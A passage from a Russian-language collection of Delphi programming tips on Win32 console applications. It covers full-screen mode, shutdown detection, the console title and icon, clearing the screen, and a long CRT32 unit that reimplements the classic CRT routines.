        keybd_event(VK_MENU, MapVirtualKey(VK_MENU, 0), KEYEVENTF_KEYUP, 0);
      end;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  s: string;
begin
  AllocConsole;
  try
    SetConsoleFullScreen(True);
    Write('Hi, you are in full screen mode now. Type something [Return]: ');
    Readln(s);
    SetConsoleFullScreen(False);
    // ShowMessage(Format('You typed: "%s"', [s]));
  finally
    FreeConsole;
  end;
end;

Взято с http://delphiworld.narod.ru


Как консольное приложение может узнать, что Винды завершаются?

Автор: Nomadic

Все процессы получают сигналы CTRL_CLOSE_EVENT, CTRL_LOGOFF_EVENT и CTRL_SHUTDOWN_EVENT. А делается это (грубо говоря :) так:

BOOL Ctrl_Handler( DWORD Ctrl )
{
  if( (Ctrl == CTRL_SHUTDOWN_EVENT) || (Ctrl == CTRL_LOGOFF_EVENT) )
  {
    // Вау! Юзер обламывает!
  }
  else
  {
    // Тут что-от другое можно творить. А можно и не творить :-)
  }
  return TRUE;
}

function Ctrl_Handler(Ctrl: Longint): LongBool;
begin
  if Ctrl in [CTRL_SHUTDOWN_EVENT, CTRL_LOGOFF_EVENT] then
  begin
    // Вау, вау
  end
  else
  begin
    // Am I creator?
  end;
  Result := true;
end;

А где-то в программе:

SetConsoleCtrlHandler( Ctrl_Handler, TRUE );

Таких обработчиков можно навесить кучу. Если при обработке какого-то из сообщений обработчик возвращает FALSE, то вызывается следующий обработчик. Можно настроить таких этажерок, что ого-го :-)))

Короче, смотри описание SetConsoleCtrlHandler -- там всё есть.

Взято с http://delphiworld.narod.ru


Как поменять иконку и стpокy в заголовке консольного окна?

procedure TForm1.Button1Click(Sender: TObject);
var
  h: HWND;
  AIcon: TIcon;
begin
  AllocConsole;
  SetConsoleTitle(PChar('Console Title'));
  Sleep(0);
  h := FindWindow(nil, PChar('Console Title'));
  AIcon := TIcon.Create;
  ImageList1.GetIcon(0, AIcon);
  SendMessage(h, WM_SETICON, 1, AIcon.Handle);
  AIcon.Free;
end;

Взято с http://delphiworld.narod.ru


Как можно гарантированно очистить экран в консольном приложении?

Автор: Олег Кулабухов

Нужно просто использовать GetConsoleScreenBufferInfo() для ввода нескольких пустых строк.

program Project1;
{$APPTYPE CONSOLE}
uses
  Windows;
{$R *.RES}
var
  sbi: TConsoleScreenBufferInfo;
  i: integer;
begin
  Writeln('A Console Applicaiton');
  Writeln('Press Enter To Clear The Screen');
  GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE),
    sbi);
  Readln;
  GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE),
    sbi);
  for i := 0 to sbi.dwSize.y do
    writeln;
  Writeln('Press Enter To End');
  Readln;
end.

Взято с http://delphiworld.narod.ru


CRT для консольного приложения

$IfDef VER130}
  {$Define NEW_STYLES}
{$EndIf}
{$IfDef VER140}
  {$Define NEW_STYLES}
{$EndIf}

{..$Define HARD_CRT}      {Redirect STD_...}
{..$Define CRT_EVENT}     {CTRL-C,...}
{$Define MOUSE_IS_USED}   {Handle mouse or not}
{..$Define OneByOne}      {Block or byte style write}
unit CRT32;

Interface
  {$IfDef Win32}
  Const
    { CRT modes of original CRT unit }
    BW40 = 0;     { 40x25 B/W on Color Adapter }
    CO40 = 1;     { 40x25 Color on Color Adapter }
    BW80 = 2;     { 80x25 B/W on Color Adapter }
    CO80 = 3;     { 80x25 Color on Color Adapter }
    Mono = 7;     { 80x25 on Monochrome Adapter }
    Font8x8 = 256;{ Add-in for ROM font }
    { Mode constants for 3.0 compatibility of original CRT unit }
    C40 = CO40;
    C80 = CO80;
    { Foreground and background color constants of original CRT unit }
    Black = 0;
    Blue = 1;
    Green = 2;
    Cyan = 3;
    Red = 4;
    Magenta = 5;
    Brown  6;
    LightGray = 7;
    { Foreground color constants of original CRT unit }
    DarkGray = 8;
    LightBlue = 9;
    LightGreen = 10;
    LightCyan = 11;
    LightRed = 12;
    LightMagenta = 13;
    Yellow = 14;
    White = 15;
    { Add-in for blinking of original CRT unit }
    Blink = 128;
    {  }
    {  New constans there are not in original CRT unit }
    {  }
    MouseLeftButton = 1;
    MouseRightButton = 2;
    MouseCenterButton = 4;

var
  { Interface variables of original CRT unit }
  CheckBreak: Boolean;    { Enable Ctrl-Break }
  CheckEOF: Boolean;      { Enable Ctrl-Z }
  DirectVideo: Boolean;   { Enable direct video addressing }
  CheckSnow: Boolean;     { Enable snow filtering }
  LastMode: Word;         { Current text mode }
  TextAttr: Byte;         { Current text attribute }
  WindMin: Word;          { Window upper left coordinates }
  WindMax: Word;          { Window lower right coordinates }
  {  }
  {  New variables there are not in original CRT unit }
  {  }
  MouseInstalled: boolean;
  MousePressedButtons: word;

{ Interface functions & procedures of original CRT unit }
procedure AssignCrt(var F: Text);
function KeyPressed: Boolean;
function ReadKey: char;
procedure TextMode(Mode: Integer);
procedure Window(X1, Y1, X2, Y2: Byte);
procedure GotoXY(X, Y: Byte);
function WhereX: Byte;
function WhereY: Byte;
procedure ClrScr;
procedure ClrEol;
procedure InsLine;
procedure DelLine;
procedure TextColor(Color: Byte);
procedure TextBackground(Color: Byte);
procedure LowVideo;
procedure HighVideo;
procedure NormVideo;
procedure Delay(MS: Word);
procedure Sound(Hz: Word);
procedure NoSound;
{ New functions & procedures there are not in original CRT unit }
procedure FillerScreen(FillChar: Char);
procedure FlushInputBuffer;
function GetCursor: Word;
procedure SetCursor(NewCursor: Word);
function MouseKeyPressed: Boolean;
procedure MouseGotoXY(X, Y: Integer);
function MouseWhereY: Integer;
function MouseWhereX: Integer;
procedure MouseShowCursor;
procedure MouseHideCursor;
{ These functions & procedures are for inside use only }
function MouseReset: Boolean;
procedure WriteChrXY(X, Y: Byte; Chr: char);
procedure WriteStrXY(X, Y: Byte; Str: PChar; dwSize: Integer);
procedure OverwriteChrXY(X, Y: Byte; Chr: char);
{$EndIf Win32}

implementation
{$IfDef Win32}

uses Windows, SysUtils;

type
  POpenText = ^TOpenText;
  TOpenText = function(var F: Text; Mode: Word): Integer; far;

var
  IsWinNT: boolean;
  PtrOpenText: POpenText;
  hConsoleInput: THandle;
  hConsoleOutput: THandle;
  ConsoleScreenRect: TSmallRect;
  StartAttr: word;
  LastX, LastY: byte;
  SoundDuration: integer;
  SoundFrequency: integer;
  OldCP: integer;
  MouseRowWidth, MouseColWidth: word;
  MousePosX, MousePosY: smallInt;
  MouseButtonPressed: boolean;
  MouseEventTime: TDateTime;
{  }
{  This function handles the Write and WriteLn commands }
{  }

function TextOut(var F: Text): Integer; far;
  {$IfDef OneByOne}
var
  dwSize: DWORD;
  {$EndIf}
begin
  with TTExtRec(F) do
  begin
    if BufPos > 0 then
    begin
      LastX := WhereX;
      LastY := WhereY;
      {$IfDef OneByOne}
      dwSize := 0;
      while (dwSize < BufPos) do
      begin
        WriteChrXY(LastX, LastY, BufPtr[dwSize]);
        Inc(dwSize);
      end;
      {$Else}
      WriteStrXY(LastX, LastY, BufPtr, BufPos);
      FillChar(BufPtr^, BufPos + 1, #0);
      {$EndIf}
      BufPos := 0;
    end;
  end;
  Result := 0;
end;
{  }
{  This function handles the exchanging of Input or Output }
{  }

function OpenText(var F: Text; Mode: Word): Integer; far;
var
  OpenResult: integer;
begin
  OpenResult := 102; { Text not assigned }
  if Assigned(PtrOpenText) then
  begin
    TTextRec(F).OpenFunc := PtrOpenText;
    OpenResult := PtrOpenText^(F, Mode);
    if OpenResult = 0 then
    begin
      if Mode = fmInput then
        hConsoleInput := TTextRec(F).Handle
      else
      begin
        hConsoleOutput := TTextRec(F).Handle;
        TTextRec(Output).InOutFunc := @TextOut;
        TTextRec(Output).FlushFunc := @TextOut;
      end;
    end;
  end;
  Result := OpenResult;
end;
{  }
{  Fills the current window with special character }
{  }

procedure FillerScreen(FillChar: Char);
var
  Coord: TCoord;
  dwSize, dwCount: DWORD;
  Y: integer;
begin
  Coord.X := ConsoleScreenRect.Left;
  dwSize := ConsoleScreenRect.Right - ConsoleScreenRect.Left + 1;
  for Y := ConsoleScreenRect.Top to ConsoleScreenRect.Bottom do
  begin
    Coord.Y := Y;
    FillConsoleOutputAttribute(hConsoleOutput, TextAttr, dwSize, Coord, dwCount);
    FillConsoleOutputCharacter(hConsoleOutput, FillChar, dwSize, Coord, dwCount);
  end;
  GotoXY(1,1);
end;
{  }
{  Write one character at the X,Y position }
{  }

procedure WriteChrXY(X, Y: Byte; Chr: char);
var
  Coord: TCoord;
  dwSize, dwCount: DWORD;
begin
  LastX := X;
  LastY := Y;
  case Chr of
    #13: LastX := 1;
    #10:
      begin
        LastX := 1;
        Inc(LastY);
      end;
    else
      begin
        Coord.X := LastX - 1 + ConsoleScreenRect.Left;
        Coord.Y := LastY - 1 + ConsoleScreenRect.Top;
        dwSize := 1;
        FillConsoleOutputAttribute(hConsoleOutput, TextAttr, dwSize, Coord, dwCount);
        FillConsoleOutputCharacter(hConsoleOutput, Chr, dwSize, Coord, dwCount);
        Inc(LastX);
      end;
  end;
  if (LastX + ConsoleScreenRect.Left) > (ConsoleScreenRect.Right + 1) then
  begin
    LastX := 1;
    Inc(LastY);
  end;
  if (LastY + ConsoleScreenRect.Top) > (ConsoleScreenRect.Bottom + 1) then
  begin
    Dec(LastY);
    GotoXY(1,1);
    DelLine;
  end;
  GotoXY(LastX, LastY);
end;
{  }
{  Write string into the X,Y position }
{  }
(* !!! The WriteConsoleOutput does not write into the last line !!!
  Procedure WriteStrXY(X,Y: byte; Str: PChar; dwSize: integer );
  {$IfDef OneByOne}
    Var
      dwCount: integer;
  {$Else}
    Type
      PBuffer= ^TBuffer;
      TBUffer= packed array [0..16384] of TCharInfo;
    Var
      I: integer;
      dwCount: DWORD;
      WidthHeight,Coord: TCoord;
      hTempConsoleOutput: THandle;
      SecurityAttributes: TSecurityAttributes;
      Buffer: PBuffer;
      DestinationScreenRect,SourceScreenRect: TSmallRect;
  {$EndIf}
  Begin
    If dwSize>0 Then Begin
      {$IfDef OneByOne}
        LastX:=X;
        LastY:=Y;
        dwCount:=0;
        While dwCount < dwSize Do Begin
          WriteChrXY(LastX,LastY,Str[dwCount]);
          Inc(dwCount);
        End;
      {$Else}
        SecurityAttributes.nLength:=SizeOf(SecurityAttributes)-SizeOf(DWORD);
        SecurityAttributes.lpSecurityDescriptor:=NIL;
        SecurityAttributes.bInheritHandle:=TRUE;
        hTempConsoleOutput:=CreateConsoleScreenBuffer(
         GENERIC_READ OR GENERIC_WRITE,
         FILE_SHARE_READ OR FILE_SHARE_WRITE,
         @SecurityAttributes,
         CONSOLE_TEXTMODE_BUFFER,
         NIL
        );
        If dwSize<=(ConsoleScreenRect.Right-ConsoleScreenRect.Left+1) Then Begin
          WidthHeight.X:=dwSize;
          WidthHeight.Y:=1;
        End Else Begin
          WidthHeight.X:=ConsoleScreenRect.Right-ConsoleScreenRect.Left+1;
          WidthHeight.Y:=dwSize DIV WidthHeight.X;
          If (dwSize MOD WidthHeight.X) > 0 Then Inc(WidthHeight.Y);
        End;
        SetConsoleScreenBufferSize(hTempConsoleOutput,WidthHeight);
        DestinationScreenRect.Left:=0;
        DestinationScreenRect.Top:=0;
        DestinationScreenRect.Right:=WidthHeight.X-1;
        DestinationScreenRect.Bottom:=WidthHeight.Y-1;
        SetConsoleWindowInfo(hTempConsoleOutput,FALSE,DestinationScreenRect);
        Coord.X:=0;
        For I:=1 To WidthHeight.Y Do Begin
          Coord.Y:=I-0;
          FillConsoleOutputAttribute(hTempConsoleOutput,TextAttr,WidthHeight.X,Coord,dwCount);
          FillConsoleOutputCharacter(hTempConsoleOutput,' '     ,WidthHeight.X,Coord,dwCount);
        End;
        WriteConsole(hTempConsoleOutput,Str,dwSize,dwCount,NIL);
        {  }
        New(Buffer);
        Coord.X:= 0;
        Coord.Y:= 0;
        SourceScreenRect.Left:=0;
        SourceScreenRect.Top:=0;
        SourceScreenRect.Right:=WidthHeight.X-1;
        SourceScreenRect.Bottom:=WidthHeight.Y-1;
        ReadConsoleOutputA(hTempConsoleOutput,Buffer,WidthHeight,Coord,SourceScreenRect);
        Coord.X:=X-1;
        Coord.Y:=Y-1;
        DestinationScreenRect:=ConsoleScreenRect;
        WriteConsoleOutputA(hConsoleOutput,Buffer,WidthHeight,Coord,DestinationScreenRect);
        GotoXY((dwSize MOD WidthHeight.X)-1,WidthHeight.Y+1);
        Dispose(Buffer);
        {  }
        CloseHandle(hTempConsoleOutput);
      {$EndIf}
    End;
  End;
*)

procedure WriteStrXY(X, Y: Byte; Str: PChar; dwSize: Integer);
  {$IfDef OneByOne}
var
  dwCount: integer;
  {$Else}
var
  I: integer;
  LineSize, dwCharCount, dwCount, dwWait: DWORD;
  WidthHeight: TCoord;
  OneLine: packed array [0..131] of char;
  Line, TempStr: PChar;

  procedure NewLine;
  begin
    LastX := 1;
    Inc(LastY);
    if (LastY + ConsoleScreenRect.Top) > (ConsoleScreenRect.Bottom + 1) then
    begin
      Dec(LastY);
      GotoXY(1,1);
      DelLine;
    end;
    GotoXY(LastX, LastY);
  end;

  {$EndIf}
begin
  if dwSize > 0 then
  begin
    {$IfDef OneByOne}
    LastX := X;
    LastY := Y;
    dwCount := 0;
    while dwCount < dwSize do
    begin
      WriteChrXY(LastX, LastY, Str[dwCount]);
      Inc(dwCount);
    end;
    {$Else}
    LastX := X;
    LastY := Y;
    GotoXY(LastX, LastY);
    dwWait  := dwSize;
    TempStr := Str;
    while (dwWait > 0) and (Pos(#13#10, StrPas(TempStr)) = 1) do
    begin
      Dec(dwWait, 2);
      Inc(TempStr, 2);
      NewLine;
    end;
    while (dwWait > 0) and (Pos(#10, StrPas(TempStr)) = 1) do
    begin
      Dec(dwWait);
      Inc(TempStr);
      NewLine;
    end;
    if dwWait > 0 then
    begin
      if dwSize <= (ConsoleScreenRect.Right - ConsoleScreenRect.Left - LastX + 1) then
      begin
        WidthHeight.X := dwSize + LastX - 1;
        WidthHeight.Y := 1;
      end
      else
      begin
        WidthHeight.X := ConsoleScreenRect.Right - ConsoleScreenRect.Left + 1;
        WidthHeight.Y := dwSize div WidthHeight.X;
        if (dwSize mod WidthHeight.X) > 0 then Inc(WidthHeight.Y);
      end;
      for I := 1 to WidthHeight.Y do
      begin
        FillChar(OneLine, SizeOf(OneLine), #0);
        Line := @OneLine;
        LineSize := WidthHeight.X - LastX + 1;
        if LineSize > dwWait then LineSize := dwWait;
        Dec(dwWait, LineSize);
        StrLCopy(Line, TempStr, LineSize);
        Inc(TempStr, LineSize);
        dwCharCount := Pos(#13#10, StrPas(Line));
        if dwCharCount > 0 then
        begin
          OneLine[dwCharCount - 1] := #0;
          OneLine[dwCharCount]     := #0;
          WriteConsole(hConsoleOutput, Line, dwCharCount - 1,dwCount, nil);
          Inc(Line, dwCharCount + 1);
          NewLine;
          LineSize := LineSize - (dwCharCount + 1);
        end
        else
        begin
          dwCharCount := Pos(#10, StrPas(Line));
          if dwCharCount > 0 then
          begin
            OneLine[dwCharCount - 1] := #0;
            WriteConsole(hConsoleOutput, Line, dwCharCount - 1,dwCount, nil);
            Inc(Line, dwCharCount);
            NewLine;
            LineSize := LineSize - dwCharCount;
          end;
        end;
        if LineSize <> 0 then
        begin
          WriteConsole(hConsoleOutput, Line, LineSize, dwCount, nil);
        end;
        if dwWait > 0 then
        begin
          NewLine;
        end;
      end;
    end;
    {$EndIf}
  end;
end;
{  }
{  Empty the buffer }
{  }

procedure FlushInputBuffer;
begin
  FlushConsoleInputBuffer(hConsoleInput);
end;
{  }
{  Get size of current cursor }
{  }

function GetCursor: Word;
var
  CCI: TConsoleCursorInfo;
begin
  GetConsoleCursorInfo(hConsoleOutput, CCI);
  GetCursor := CCI.dwSize;
end;
{  }
{  Set size of current cursor }
{  }

procedure SetCursor(NewCursor: Word);
var
  CCI: TConsoleCursorInfo;
begin
  if NewCursor = $0000 then
  begin
    CCI.dwSize := GetCursor;
    CCI.bVisible := False;
  end
  else
  begin
    CCI.dwSize := NewCursor;
    CCI.bVisible := True;
  end;
  SetConsoleCursorInfo(hConsoleOutput, CCI);
end;
{  }
{ --- Begin of Interface functions & procedures of original CRT unit --- }

procedure AssignCrt(var F: Text);
begin
  Assign(F, '');
  TTextRec(F).OpenFunc := @OpenText;
end;

function KeyPressed: Boolean;
var
  NumberOfEvents: DWORD;
  NumRead: DWORD;
  InputRec: TInputRecord;
  Pressed: boolean;
begin
  Pressed := False;
  GetNumberOfConsoleInputEvents(hConsoleInput, NumberOfEvents);
  if NumberOfEvents > 0 then
  begin
    if PeekConsoleInput(hConsoleInput, InputRec, 1,NumRead) then
    begin
      if (InputRec.EventType = KEY_EVENT) and
        (InputRec{$IfDef NEW_STYLES}.Event{$EndIf}.KeyEvent.bKeyDown) then
      begin
        Pressed := True;
        {$IfDef MOUSE_IS_USED}
        MouseButtonPressed := False;
        {$EndIf}
      end
      else
      begin
        {$IfDef MOUSE_IS_USED}
        if (InputRec.EventType = _MOUSE_EVENT) then
        begin
          with InputRec{$IfDef NEW_STYLES}.Event{$EndIf}.MouseEvent do
          begin
            MousePosX := dwMousePosition.X;
            MousePosY := dwMousePosition.Y;
            if dwButtonState = FROM_LEFT_1ST_BUTTON_PRESSED then
            begin
              MouseEventTime := Now;
              MouseButtonPressed := True;
              {If (dwEventFlags AND DOUBLE_CLICK)<>0 Then Begin}
              {End;}
            end;
          end;
        end;
        ReadConsoleInput(hConsoleInput, InputRec, 1,NumRead);
        {$Else}
        ReadConsoleInput(hConsoleInput, InputRec, 1,NumRead);
        {$EndIf}
      end;
    end;
  end;
  Result := Pressed;
end;

function ReadKey: char;
var
  NumRead: DWORD;
  InputRec: TInputRecord;
begin
  repeat
    repeat
    until KeyPressed;
    ReadConsoleInput(hConsoleInput, InputRec, 1,NumRead);
  until InputRec{$IfDef NEW_STYLES}.Event{$EndIf}.KeyEvent.AsciiChar > #0;
  Result := InputRec{$IfDef NEW_STYLES}.Event{$EndIf}.KeyEvent.AsciiChar;
end;

procedure TextMode(Mode: Integer);
begin
end;

procedure Window(X1, Y1, X2, Y2: Byte);
begin
  ConsoleScreenRect.Left := X1 - 1;
  ConsoleScreenRect.Top := Y1 - 1;
  ConsoleScreenRect.Right := X2 - 1;
  ConsoleScreenRect.Bottom := Y2 - 1;
  WindMin := (ConsoleScreenRect.Top shl 8) or ConsoleScreenRect.Left;
  WindMax := (ConsoleScreenRect.Bottom shl 8) or ConsoleScreenRect.Right;
  {$IfDef WindowFrameToo}
  SetConsoleWindowInfo(hConsoleOutput, True, ConsoleScreenRect);
  {$EndIf}
  GotoXY(1,1);
end;

procedure GotoXY(X, Y: Byte);
var
  Coord: TCoord;
begin
  Coord.X := X - 1 + ConsoleScreenRect.Left;
  Coord.Y := Y - 1 + ConsoleScreenRect.Top;
  if not SetConsoleCursorPosition(hConsoleOutput, Coord) then
  begin
    GotoXY(1, 1);
    DelLine;
  end;
end;

function WhereX: Byte;
var
  CBI: TConsoleScreenBufferInfo;
begin
  GetConsoleScreenBufferInfo(hConsoleOutput, CBI);
  Result := TCoord(CBI.dwCursorPosition).X + 1 - ConsoleScreenRect.Left;
end;

function WhereY: Byte;
var
  CBI: TConsoleScreenBufferInfo;
begin
  GetConsoleScreenBufferInfo(hConsoleOutput, CBI);
  Result := TCoord(CBI.dwCursorPosition).Y + 1 - ConsoleScreenRect.Top;
end;

procedure ClrScr;
begin
  FillerScreen(' ');
end;

procedure ClrEol;
var
  Coord: TCoord;
  dwSize, dwCount: DWORD;
begin
  Coord.X := WhereX - 1 + ConsoleScreenRect.Left;
  Coord.Y := WhereY - 1 + ConsoleScreenRect.Top;
  dwSize  := ConsoleScreenRect.Right - Coord.X + 1;
  FillConsoleOutputAttribute(hConsoleOutput, TextAttr, dwSize, Coord, dwCount);
  FillConsoleOutputCharacter(hConsoleOutput, ' ', dwSize, Coord, dwCount);
end;

procedure InsLine;
var
  SourceScreenRect: TSmallRect;
  Coord: TCoord;
  CI: TCharInfo;
  dwSize, dwCount: DWORD;
begin
  SourceScreenRect := ConsoleScreenRect;
  SourceScreenRect.Top := WhereY - 1 + ConsoleScreenRect.Top;
  SourceScreenRect.Bottom := ConsoleScreenRect.Bottom - 1;
  CI.AsciiChar := ' ';
  CI.Attributes := TextAttr;
  Coord.X := SourceScreenRect.Left;
  Coord.Y := SourceScreenRect.Top + 1;
  dwSize := SourceScreenRect.Right - SourceScreenRect.Left + 1;
  ScrollConsoleScreenBuffer(hConsoleOutput, SourceScreenRect, nil, Coord, CI);
  Dec(Coord.Y);
  FillConsoleOutputAttribute(hConsoleOutput, TextAttr, dwSize, Coord, dwCount);
end;

procedure DelLine;
var
  SourceScreenRect: TSmallRect;
  Coord: TCoord;
  CI: TCharinfo;
  dwSize, dwCount: DWORD;
begin
  SourceScreenRect := ConsoleScreenRect;
  SourceScreenRect.Top := WhereY + ConsoleScreenRect.Top;
  CI.AsciiChar := ' ';
  CI.Attributes := TextAttr;
  Coord.X := SourceScreenRect.Left;
  Coord.Y := SourceScreenRect.Top - 1;
  dwSize := SourceScreenRect.Right - SourceScreenRect.Left + 1;
  ScrollConsoleScreenBuffer(hConsoleOutput, SourceScreenRect, nil, Coord, CI);
  FillConsoleOutputAttribute(hConsoleOutput, TextAttr, dwSize, Coord, dwCount);
end;

procedure TextColor(Color: Byte);
begin
  LastMode := TextAttr;
  TextAttr := (Color and $0F) or (TextAttr and $F0);
  SetConsoleTextAttribute(hConsoleOutput, TextAttr);
end;

procedure TextBackground(Color: Byte);
begin
  LastMode := TextAttr;
  TextAttr := (Color shl 4) or (TextAttr and $0F);
  SetConsoleTextAttribute(hConsoleOutput, TextAttr);
end;

procedure LowVideo;
begin
  LastMode := TextAttr;
  TextAttr := TextAttr and $F7;
  SetConsoleTextAttribute(hConsoleOutput, TextAttr);
end;

procedure HighVideo;
begin
  LastMode := TextAttr;
  TextAttr := TextAttr or $08;
  SetConsoleTextAttribute(hConsoleOutput, TextAttr);
end;

procedure NormVideo;
begin
  LastMode := TextAttr;
  TextAttr := StartAttr;
  SetConsoleTextAttribute(hConsoleOutput, TextAttr);
end;

procedure Delay(MS: Word);
  {
  Const
    Magic= $80000000;
  var
   StartMS,CurMS,DeltaMS: DWORD;
   }
begin
  Windows.SleepEx(MS, False);  // Windows.Sleep(MS);
    {
    StartMS:= GetTickCount;
    Repeat
      CurMS:= GetTickCount;
      If CurMS >= StartMS Then
         DeltaMS:= CurMS - StartMS
      Else DeltaMS := (CurMS + Magic) - (StartMS - Magic);
    Until MS<DeltaMS;
    }
end;

procedure Sound(Hz: Word);
begin
  {SetSoundIOPermissionMap(LocalIOPermission_ON);}
  SoundFrequency := Hz;
  if IsWinNT then
  begin
    Windows.Beep(SoundFrequency, SoundDuration)
  end
  else
  begin
    asm
        mov  BX,Hz
        cmp  BX,0
        jz   @2
        mov  AX,$34DD
        mov  DX,$0012
        cmp  DX,BX
        jnb  @2
        div  BX
        mov  BX,AX
        { Sound is On ? }
        in   Al,$61
        test Al,$03
        jnz  @1
        { Set Sound On }
        or   Al,03
        out  $61,Al
        { Timer Command }
        mov  Al,$B6
        out  $43,Al
        { Set Frequency }
    @1: mov  Al,Bl
        out  $42,Al
        mov  Al,Bh
        out  $42,Al
    @2:
    end;
  end;
end;

procedure NoSound;
begin
  if IsWinNT then
  begin
    Windows.Beep(SoundFrequency, 0);
  end
  else
  begin
      asm
        { Set Sound On }
        in   Al,$61
        and  Al,$FC
        out  $61,Al
      end;
  end;
  {SetSoundIOPermissionMap(LocalIOPermission_OFF);}
end;
{ --- End of Interface functions & procedures of original CRT unit --- }
{  }

procedure OverwriteChrXY(X, Y: Byte; Chr: char);
var
  Coord: TCoord;
  dwSize, dwCount: DWORD;
begin
  LastX := X;
  LastY := Y;
  Coord.X := LastX - 1 + ConsoleScreenRect.Left;
  Coord.Y := LastY - 1 + ConsoleScreenRect.Top;
  dwSize := 1;
  FillConsoleOutputAttribute(hConsoleOutput, TextAttr, dwSize, Coord, dwCount);
  FillConsoleOutputCharacter(hConsoleOutput, Chr, dwSize, Coord, dwCount);
  GotoXY(LastX, LastY);
end;

{  --------------------------------------------------  }
{  Console Event Handler }
{  }
{$IfDef CRT_EVENT}
function ConsoleEventProc(CtrlType: DWORD): Bool; stdcall; far;
var
  S: {$IfDef Win32}ShortString{$Else}String{$EndIf};
  Message: PChar;
begin
  case CtrlType of
    CTRL_C_EVENT: S        := 'CTRL_C_EVENT';
    CTRL_BREAK_EVENT: S    := 'CTRL_BREAK_EVENT';
    CTRL_CLOSE_EVENT: S    := 'CTRL_CLOSE_EVENT';
    CTRL_LOGOFF_EVENT: S   := 'CTRL_LOGOFF_EVENT';
    CTRL_SHUTDOWN_EVENT: S := 'CTRL_SHUTDOWN_EVENT';
    else
      S := 'UNKNOWN_EVENT';
  end;
  S := S + ' detected, but not handled.';
  Message := @S;
  Inc(Message);
  MessageBox(0, Message, 'Win32 Console', MB_OK);
  Result := True;
end;
  {$EndIf}

function MouseReset: Boolean;
begin
  MouseColWidth := 1;
  MouseRowWidth := 1;
  Result := True;
end;

procedure MouseShowCursor;
const
  ShowMouseConsoleMode = ENABLE_MOUSE_INPUT;
var
  cMode: DWORD;
begin
  GetConsoleMode(hConsoleInput, cMode);
  if (cMode and ShowMouseConsoleMode) <> ShowMouseConsoleMode then
  begin
    cMode := cMode or ShowMouseConsoleMode;
    SetConsoleMode(hConsoleInput, cMode);
  end;
end;

procedure MouseHideCursor;
const
  ShowMouseConsoleMode = ENABLE_MOUSE_INPUT;
var
  cMode: DWORD;
begin
  GetConsoleMode(hConsoleInput, cMode);
  if (cMode and ShowMouseConsoleMode) = ShowMouseConsoleMode then
  begin
    cMode := cMode and ($FFFFFFFF xor ShowMouseConsoleMode);
    SetConsoleMode(hConsoleInput, cMode);
  end;
end;

function MouseKeyPressed: Boolean;
  {$IfDef MOUSE_IS_USED}
const
  MouseDeltaTime = 200;
var
  ActualTime: TDateTime;
  HourA, HourM, MinA, MinM, SecA, SecM, MSecA, MSecM: word;
  MSecTimeA, MSecTimeM: longInt;
  MSecDelta: longInt;
  {$EndIf}
begin
  MousePressedButtons := 0;
  {$IfDef MOUSE_IS_USED}
  Result := False;
  if MouseButtonPressed then
  begin
    ActualTime := NOW;
    DecodeTime(ActualTime, HourA, MinA, SecA, MSecA);
    DecodeTime(MouseEventTime, HourM, MinM, SecM, MSecM);
    MSecTimeA := (3600 * HourA + 60 * MinA + SecA) * 100 + MSecA;
    MSecTimeM := (3600 * HourM + 60 * MinM + SecM) * 100 + MSecM;
    MSecDelta := Abs(MSecTimeM - MSecTimeA);
    if (MSecDelta < MouseDeltaTime) or (MSecDelta > (8784000 - MouseDeltaTime)) then
    begin
      MousePressedButtons := MouseLeftButton;
      MouseButtonPressed := False;
      Result := True;
    end;
  end;
  {$Else}
  Result := False;
  {$EndIf}
end;

procedure MouseGotoXY(X, Y: Integer);
begin
  {$IfDef MOUSE_IS_USED}
  mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_MOVE,
    X - 1,Y - 1,WHEEL_DELTA, GetMessageExtraInfo());
  MousePosY := (Y - 1) * MouseRowWidth;
  MousePosX := (X - 1) * MouseColWidth;
  {$EndIf}
end;

function MouseWhereY: Integer;
  {$IfDef MOUSE_IS_USED}
    {Var
      lppt, lpptBuf: TMouseMovePoint;}
  {$EndIf}
begin
  {$IfDef MOUSE_IS_USED}
      {GetMouseMovePoints(
        SizeOf(TMouseMovePoint), lppt, lpptBuf,
        7,GMMP_USE_DRIVER_POINTS
      );
      Result:=lpptBuf.Y DIV MouseRowWidth;}
  Result := (MousePosY div MouseRowWidth) + 1;
  {$Else}
  Result := -1;
  {$EndIf}
end;

function MouseWhereX: Integer;
  {$IfDef MOUSE_IS_USED}
    {Var
      lppt, lpptBuf: TMouseMovePoint;}
  {$EndIf}
begin
  {$IfDef MOUSE_IS_USED}
      {GetMouseMovePoints(
        SizeOf(TMouseMovePoint), lppt, lpptBuf,
        7,GMMP_USE_DRIVER_POINTS
      );
      Result:=lpptBuf.X DIV MouseColWidth;}
  Result := (MousePosX div MouseColWidth) + 1;
  {$Else}
  Result := -1;
  {$EndIf}
end;
  {  }

procedure Init;
const
  ExtInpConsoleMode = ENABLE_WINDOW_INPUT or ENABLE_PROCESSED_INPUT or ENABLE_MOUSE_INPUT;
  ExtOutConsoleMode = ENABLE_PROCESSED_OUTPUT or ENABLE_WRAP_AT_EOL_OUTPUT;
var
  cMode: DWORD;
  Coord: TCoord;
  OSVersion: TOSVersionInfo;
  CBI: TConsoleScreenBufferInfo;
begin
  OSVersion.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(OSVersion);
  if OSVersion.dwPlatformId = VER_PLATFORM_WIN32_NT then
    IsWinNT := True
  else
    IsWinNT := False;
  PtrOpenText := TTextRec(Output).OpenFunc;
  {$IfDef HARD_CRT}
  AllocConsole;
  Reset(Input);
  hConsoleInput := GetStdHandle(STD_INPUT_HANDLE);
  TTextRec(Input).Handle := hConsoleInput;
  ReWrite(Output);
  hConsoleOutput := GetStdHandle(STD_OUTPUT_HANDLE);
  TTextRec(Output).Handle := hConsoleOutput;
  {$Else}
  Reset(Input);
  hConsoleInput := TTextRec(Input).Handle;
  ReWrite(Output);
  hConsoleOutput := TTextRec(Output).Handle;
  {$EndIf}
  GetConsoleMode(hConsoleInput, cMode);
  if (cMode and ExtInpConsoleMode) <> ExtInpConsoleMode then
  begin
    cMode := cMode or ExtInpConsoleMode;
    SetConsoleMode(hConsoleInput, cMode);
  end;

  TTextRec(Output).InOutFunc := @TextOut;
  TTextRec(Output).FlushFunc := @TextOut;
  GetConsoleScreenBufferInfo(hConsoleOutput, CBI);
  GetConsoleMode(hConsoleOutput, cMode);
